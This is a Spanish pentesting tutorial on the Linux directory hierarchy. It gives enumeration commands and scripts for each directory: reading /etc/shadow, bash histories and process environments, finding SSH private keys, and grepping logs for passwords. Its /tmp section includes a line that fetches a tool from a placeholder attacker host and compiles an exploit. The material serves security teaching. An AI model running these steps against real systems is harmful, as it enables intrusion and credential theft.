Estructura de Directorios de Linux
Comprensión detallada de la estructura de directorios en sistemas Linux/Unix basada en el estándar FHS (Filesystem Hierarchy Standard). Esencial para navegación del sistema, análisis forense y pentesting.
¿Qué es el Estándar de Jerarquía del Sistema de Archivos?
Section titled “¿Qué es el Estándar de Jerarquía del Sistema de Archivos?”El FHS (Filesystem Hierarchy Standard) es la norma que define los directorios y su contenido en sistemas GNU/Linux y Unix. Esta estandarización proporciona:
- Consistencia: El software sabe dónde encontrar y almacenar información
- Predictibilidad: Los usuarios conocen el contenido de cada directorio
- Mantenimiento: Facilita la administración del sistema
- Seguridad: Ayuda a establecer permisos apropiados
Tipos de Directorios
Section titled “Tipos de Directorios”Directorios Compartibles vs No Compartibles
Section titled “Directorios Compartibles vs No Compartibles”- Compartibles: Accesibles desde múltiples equipos (
/home,/usr,/opt) - No Compartibles: Acceso limitado al administrador (
/etc,/boot,/var/run)
Directorios Variables vs Estáticos
Section titled “Directorios Variables vs Estáticos”- Variables: Contenido modificable sin intervención del admin (
/var/log,/home) - Estáticos: Solo modificables por el administrador (
/etc,/usr,/bin)
Estructura de Directorios Principales
Section titled “Estructura de Directorios Principales”/ - Directorio Raíz
Section titled “/ - Directorio Raíz”El directorio principal del cual se ramifican todos los demás directorios del sistema.
# Listar contenido del directorio raízls -la /
# Ver estructura completatree -L 2 /Importancia en Pentesting:
- Punto de partida para reconocimiento del sistema
- Identificar distribución y configuración general
- Buscar directorios no estándar que pueden contener información sensible
/bin - Binarios Esenciales del Sistema
Section titled “/bin - Binarios Esenciales del Sistema”Contiene comandos binarios esenciales disponibles para todos los usuarios del sistema.
# Listar binarios del sistemals -la /bin
# Buscar binarios con permisos especialesfind /bin -perm -4000 -ls
# Verificar integridad de binarios críticoswhich ls cat cp mv rmImportancia en Pentesting:
- Identificar herramientas disponibles en el sistema
- Buscar binarios con SUID/SGID para escalada de privilegios
- Verificar si hay herramientas de red, compiladores o intérpretes
- Detectar binarios modificados o backdoors
Comandos críticos a verificar:
# Buscar binarios con SUIDfind /bin -perm -4000 2>/dev/null
# Verificar herramientas de redls /bin | grep -E "(nc|netcat|wget|curl|ssh)"
# Buscar compiladores e intérpretesls /bin | grep -E "(gcc|python|perl|ruby|php)"/boot - Archivos de Arranque
Section titled “/boot - Archivos de Arranque”Contiene archivos necesarios para el arranque del sistema, incluyendo el kernel y el bootloader.
# Ver archivos de arranquels -la /boot
# Información del kerneluname -als /boot/vmlinuz*
# Configuración del bootloadercat /boot/grub/grub.cfgImportancia en Pentesting:
- Identificar versión del kernel para buscar exploits
- Analizar configuración de arranque
- Buscar kernels alternativos o backdoors
- Verificar configuración de arranque seguro
Análisis de seguridad:
# Versión del kernel (buscar CVEs)uname -r
# Buscar exploits del kernelsearchsploit kernel $(uname -r)
# Verificar configuración de GRUBgrep -i "password" /boot/grub/grub.cfg/dev - Archivos de Dispositivos
Section titled “/dev - Archivos de Dispositivos”Contiene archivos especiales que representan dispositivos de hardware del sistema.
# Listar dispositivosls -la /dev
# Dispositivos de almacenamientols /dev/sd* /dev/nvme*
# Dispositivos de redls /dev/tty* /dev/pts/*Importancia en Pentesting:
- Identificar dispositivos de almacenamiento y particiones
- Buscar dispositivos USB o externos conectados
- Analizar dispositivos de red y terminales
- Acceso directo a dispositivos para bypass de permisos
Reconocimiento de dispositivos:
# Dispositivos de bloquelsblk
# Dispositivos USBlsusb
# Dispositivos PCIlspci
# Acceso directo a memoria (si disponible)ls -la /dev/mem /dev/kmem 2>/dev/null/etc - Archivos de Configuración
Section titled “/etc - Archivos de Configuración”Directorio que contiene archivos de configuración del sistema y aplicaciones.
# Configuraciones críticas del sistemals -la /etc
# Archivos de usuarios y gruposcat /etc/passwdcat /etc/groupcat /etc/shadow # Solo root
# Configuración de redcat /etc/hostscat /etc/resolv.confImportancia en Pentesting:
- CRÍTICO: Contiene configuraciones sensibles del sistema
- Información de usuarios, grupos y contraseñas
- Configuración de servicios y demonios
- Claves SSH, certificados y credenciales
- Configuración de red y DNS
Archivos críticos para pentesting:
# Información de usuarioscat /etc/passwd | grep -v nologincat /etc/group
# Configuración de SSHcat /etc/ssh/sshd_config
# Servicios en ejecuciónls /etc/init.d/systemctl list-unit-files
# Configuración de redcat /etc/network/interfacescat /etc/netplan/*.yaml
# Archivos de logls /etc/logrotate.d/
# Configuración de sudocat /etc/sudoersls /etc/sudoers.d/
# Cron jobs del sistemacat /etc/crontabls /etc/cron.*/home - Directorios de Usuarios
Section titled “/home - Directorios de Usuarios”Contiene los directorios personales de todos los usuarios del sistema (excepto root).
# Listar usuarios del sistemals -la /home
# Explorar directorio de usuario específicols -la /home/usuario
# Archivos ocultos de configuraciónls -la /home/usuario/.*Importancia en Pentesting:
- Archivos personales y documentos sensibles
- Historial de comandos y configuraciones personales
- Claves SSH privadas y certificados
- Configuraciones de aplicaciones con credenciales
Reconocimiento de usuarios:
# Usuarios con directorio homels /home
# Archivos de configuración de usuariofind /home -name ".*" -type f 2>/dev/null
# Historial de comandoscat /home/*/.bash_history 2>/dev/nullcat /home/*/.zsh_history 2>/dev/null
# Claves SSHfind /home -name ".ssh" -type d 2>/dev/nullfind /home -name "id_rsa" -o -name "id_dsa" -o -name "id_ecdsa" 2>/dev/null
# Configuraciones de aplicacionesfind /home -name ".config" -type d 2>/dev/null/lib - Bibliotecas Compartidas
Section titled “/lib - Bibliotecas Compartidas”Contiene bibliotecas esenciales para los binarios en /bin y /sbin.
# Listar bibliotecas del sistemals -la /lib
# Bibliotecas de 64 bitsls -la /lib64
# Dependencias de un binarioldd /bin/lsImportancia en Pentesting:
- Identificar versiones de bibliotecas vulnerables
- Buscar bibliotecas personalizadas o backdoors
- Análisis de dependencias para exploits
- Inyección de bibliotecas maliciosas (LD_PRELOAD)
/media y /mnt - Puntos de Montaje
Section titled “/media y /mnt - Puntos de Montaje”Directorios para montar dispositivos extraíbles y sistemas de archivos temporales.
# Dispositivos montados en /medials -la /media
# Puntos de montaje en /mntls -la /mnt
# Ver todos los puntos de montajemount | grep -E "(media|mnt)"df -hImportancia en Pentesting:
- Identificar dispositivos externos conectados
- Buscar sistemas de archivos compartidos (NFS, SMB)
- Acceso a datos en dispositivos USB o externos
- Puntos de montaje no seguros
/opt - Software Opcional
Section titled “/opt - Software Opcional”Contiene aplicaciones de terceros instaladas en el sistema.
# Software adicional instaladols -la /opt
# Explorar aplicaciones específicasfind /opt -type f -executable 2>/dev/nullImportancia en Pentesting:
- Identificar software de terceros y versiones
- Buscar aplicaciones vulnerables o mal configuradas
- Encontrar herramientas de administración o monitoreo
- Configuraciones no estándar de aplicaciones
/proc - Sistema de Archivos Virtual
Section titled “/proc - Sistema de Archivos Virtual”Sistema de archivos virtual que proporciona información sobre procesos y kernel en tiempo real.
# Información del sistemacat /proc/versioncat /proc/cpuinfocat /proc/meminfo
# Procesos en ejecuciónls /proc/[0-9]*
# Información de redcat /proc/net/tcpcat /proc/net/udpImportancia en Pentesting:
- CRÍTICO: Información detallada del sistema en tiempo real
- Procesos en ejecución y sus parámetros
- Conexiones de red activas
- Información del kernel y hardware
- Variables de entorno de procesos
Reconocimiento del sistema:
# Información del kernelcat /proc/version
# Procesos y comandos ejecutadosps auxcat /proc/*/cmdline 2>/dev/null
# Conexiones de rednetstat -tulpncat /proc/net/tcp
# Módulos del kernel cargadoscat /proc/moduleslsmod
# Información de memoriacat /proc/meminfo
# Variables de entorno de procesoscat /proc/*/environ 2>/dev/null | tr '\0' '\n'/root - Directorio del Administrador
Section titled “/root - Directorio del Administrador”Directorio personal del usuario root (administrador del sistema).
# Contenido del directorio root (solo accesible como root)sudo ls -la /root
# Archivos de configuración de rootsudo ls -la /root/.*Importancia en Pentesting:
- OBJETIVO PRINCIPAL: Contiene archivos del administrador
- Historial de comandos administrativos
- Claves SSH del administrador
- Scripts y herramientas de administración
- Configuraciones críticas del sistema
/sbin - Binarios del Sistema
Section titled “/sbin - Binarios del Sistema”Contiene binarios esenciales para administración del sistema, generalmente solo ejecutables por root.
# Binarios de administraciónls -la /sbin
# Herramientas de red y sistemals /sbin | grep -E "(ip|route|iptables|service)"Importancia en Pentesting:
- Herramientas de administración y configuración
- Comandos de red y firewall
- Utilidades de sistema críticas
- Identificar capacidades administrativas disponibles
/srv - Datos de Servicios
Section titled “/srv - Datos de Servicios”Contiene datos servidos por el sistema (web, FTP, etc.).
# Datos de serviciosls -la /srv
# Contenido web si existels -la /srv/www 2>/dev/nullls -la /srv/http 2>/dev/nullImportancia en Pentesting:
- Archivos web y contenido servido
- Configuraciones de servicios
- Datos de aplicaciones web
- Posibles backdoors en servicios
/sys - Sistema de Archivos del Kernel
Section titled “/sys - Sistema de Archivos del Kernel”Información estructurada sobre el kernel, dispositivos y drivers.
# Información del sistemals -la /sys
# Información de dispositivosls /sys/class/net # Interfaces de redls /sys/block # Dispositivos de bloqueImportancia en Pentesting:
- Información detallada del hardware
- Estado de dispositivos y drivers
- Configuración del kernel
- Capacidades del sistema
/tmp - Archivos Temporales
Section titled “/tmp - Archivos Temporales”Directorio para archivos temporales, generalmente limpiado en cada reinicio.
# Archivos temporalesls -la /tmp
# Buscar archivos interesantesfind /tmp -type f -ls 2>/dev/nullImportancia en Pentesting:
- CRÍTICO: Directorio escribible por todos los usuarios
- Lugar común para subir herramientas y exploits
- Archivos temporales que pueden contener información sensible
- Posible ubicación para persistencia temporal
Uso táctico:
# Subir herramientascd /tmpwget http://attacker.com/tool
# Compilar exploitsgcc exploit.c -o exploit
# Buscar archivos abandonadosfind /tmp -type f -mtime +1 2>/dev/null/usr - Programas de Usuario
Section titled “/usr - Programas de Usuario”Contiene la mayoría de programas y archivos del sistema disponibles para usuarios.
# Estructura de /usrls -la /usr
# Binarios de usuariols /usr/bin | wc -l
# Bibliotecasls /usr/lib
# Documentaciónls /usr/share/docSubdirectorios importantes:
/usr/bin- Comandos de usuario/usr/sbin- Comandos de administración/usr/lib- Bibliotecas/usr/share- Datos compartidos/usr/local- Software instalado localmente
Importancia en Pentesting:
- Identificar herramientas y utilidades disponibles
- Buscar software vulnerable o mal configurado
- Encontrar documentación y manuales
- Verificar software instalado localmente
/var - Datos Variables
Section titled “/var - Datos Variables”Contiene archivos que cambian durante la operación del sistema.
# Contenido variable del sistemals -la /var
# Logs del sistemals /var/log
# Correo del sistemals /var/mail 2>/dev/null
# Datos de aplicacionesls /var/libSubdirectorios críticos:
/var/log- Archivos de registro/var/mail- Correo del sistema/var/spool- Colas de impresión y correo/var/lib- Datos de aplicaciones/var/cache- Cachés de aplicaciones/var/run- Archivos de ejecución (PIDs)
Importancia en Pentesting:
- CRÍTICO: Logs del sistema y aplicaciones
- Información de actividad y errores
- Archivos de configuración dinámicos
- Datos de aplicaciones y bases de datos
- Información forense valiosa
Análisis de logs:
# Logs de autenticacióntail -f /var/log/auth.loggrep "Failed password" /var/log/auth.log
# Logs del sistematail -f /var/log/syslogdmesg
# Logs de servicios webtail -f /var/log/apache2/access.logtail -f /var/log/nginx/access.log
# Logs de correotail -f /var/log/mail.log
# Buscar información sensible en logsgrep -r "password\|key\|secret" /var/log/ 2>/dev/null/lost+found - Archivos Recuperados
Section titled “/lost+found - Archivos Recuperados”Directorio creado por fsck para archivos recuperados tras errores del sistema de archivos.
# Verificar archivos recuperadossudo ls -la /lost+found 2>/dev/nullImportancia en Pentesting:
- Archivos recuperados pueden contener información sensible
- Indicador de problemas previos del sistema
- Posible fuente de datos residuales
Comandos Útiles para Reconocimiento
Section titled “Comandos Útiles para Reconocimiento”Exploración General del Sistema
Section titled “Exploración General del Sistema”# Estructura completa del sistematree -L 3 / 2>/dev/null
# Buscar archivos con permisos especialesfind / -perm -4000 -type f 2>/dev/null # SUIDfind / -perm -2000 -type f 2>/dev/null # SGIDfind / -perm -1000 -type d 2>/dev/null # Sticky bit
# Archivos escribibles por todosfind / -perm -002 -type f 2>/dev/null
# Directorios escribibles por todosfind / -perm -002 -type d 2>/dev/nullBúsqueda de Información Sensible
Section titled “Búsqueda de Información Sensible”# Buscar archivos de configuraciónfind /etc -name "*.conf" -type f 2>/dev/null
# Buscar claves y certificadosfind / -name "*.key" -o -name "*.pem" -o -name "*.crt" 2>/dev/null
# Buscar archivos de backupfind / -name "*.bak" -o -name "*.backup" -o -name "*~" 2>/dev/null
# Buscar bases de datosfind / -name "*.db" -o -name "*.sqlite" -o -name "*.sql" 2>/dev/nullAnálisis de Servicios y Procesos
Section titled “Análisis de Servicios y Procesos”# Servicios en ejecuciónsystemctl list-units --type=service --state=running
# Puertos abiertosnetstat -tulpnss -tulpn
# Procesos con conexiones de redlsof -i
# Archivos abiertos por procesoslsof | head -20Scripts de Reconocimiento
Section titled “Scripts de Reconocimiento”Script de exploración básica
Section titled “Script de exploración básica”#!/bin/bashecho "=== RECONOCIMIENTO DE ESTRUCTURA DE DIRECTORIOS ==="
echo -e "\n[+] Información del sistema:"uname -acat /etc/os-release 2>/dev/null | head -5
echo -e "\n[+] Usuarios del sistema:"cat /etc/passwd | grep -E "(bash|sh)$" | cut -d: -f1
echo -e "\n[+] Directorios en /home:"ls -la /home 2>/dev/null
echo -e "\n[+] Servicios en ejecución:"systemctl list-units --type=service --state=running --no-pager | head -10
echo -e "\n[+] Archivos con SUID:"find / -perm -4000 -type f 2>/dev/null | head -10
echo -e "\n[+] Archivos escribibles por todos:"find / -perm -002 -type f 2>/dev/null | head -10
echo -e "\n[+] Logs recientes:"ls -la /var/log/*.log 2>/dev/null | head -5Script de búsqueda de información sensible
Section titled “Script de búsqueda de información sensible”#!/bin/bashecho "=== BÚSQUEDA DE INFORMACIÓN SENSIBLE ==="
echo -e "\n[+] Archivos de configuración críticos:"for file in /etc/passwd /etc/shadow /etc/group /etc/sudoers; do if [ -r "$file" ]; then echo "✓ $file (legible)" else echo "✗ $file (no accesible)" fidone
echo -e "\n[+] Claves SSH encontradas:"find /home -name "id_*" -type f 2>/dev/null
echo -e "\n[+] Archivos de backup:"find / -name "*.bak" -o -name "*.backup" 2>/dev/null | head -10
echo -e "\n[+] Bases de datos:"find / -name "*.db" -o -name "*.sqlite" 2>/dev/null | head -10
echo -e "\n[+] Archivos de configuración web:"find /etc -name "*apache*" -o -name "*nginx*" -o -name "*httpd*" 2>/dev/nullConsideraciones de Seguridad
Section titled “Consideraciones de Seguridad”Directorios Críticos para Monitorear
Section titled “Directorios Críticos para Monitorear”/etc- Configuraciones del sistema/var/log- Registros de actividad/home- Datos de usuarios/root- Archivos del administrador/tmp- Archivos temporales sospechosos
Indicadores de Compromiso
Section titled “Indicadores de Compromiso”- Archivos inusuales en
/tmpo/var/tmp - Binarios modificados en
/bino/sbin - Configuraciones alteradas en
/etc - Procesos sospechosos en
/proc - Logs manipulados en
/var/log
Tip de Pentesting: La comprensión profunda de la estructura de directorios es fundamental para el reconocimiento efectivo del sistema, la identificación de vectores de ataque y la búsqueda de información sensible durante una evaluación de seguridad.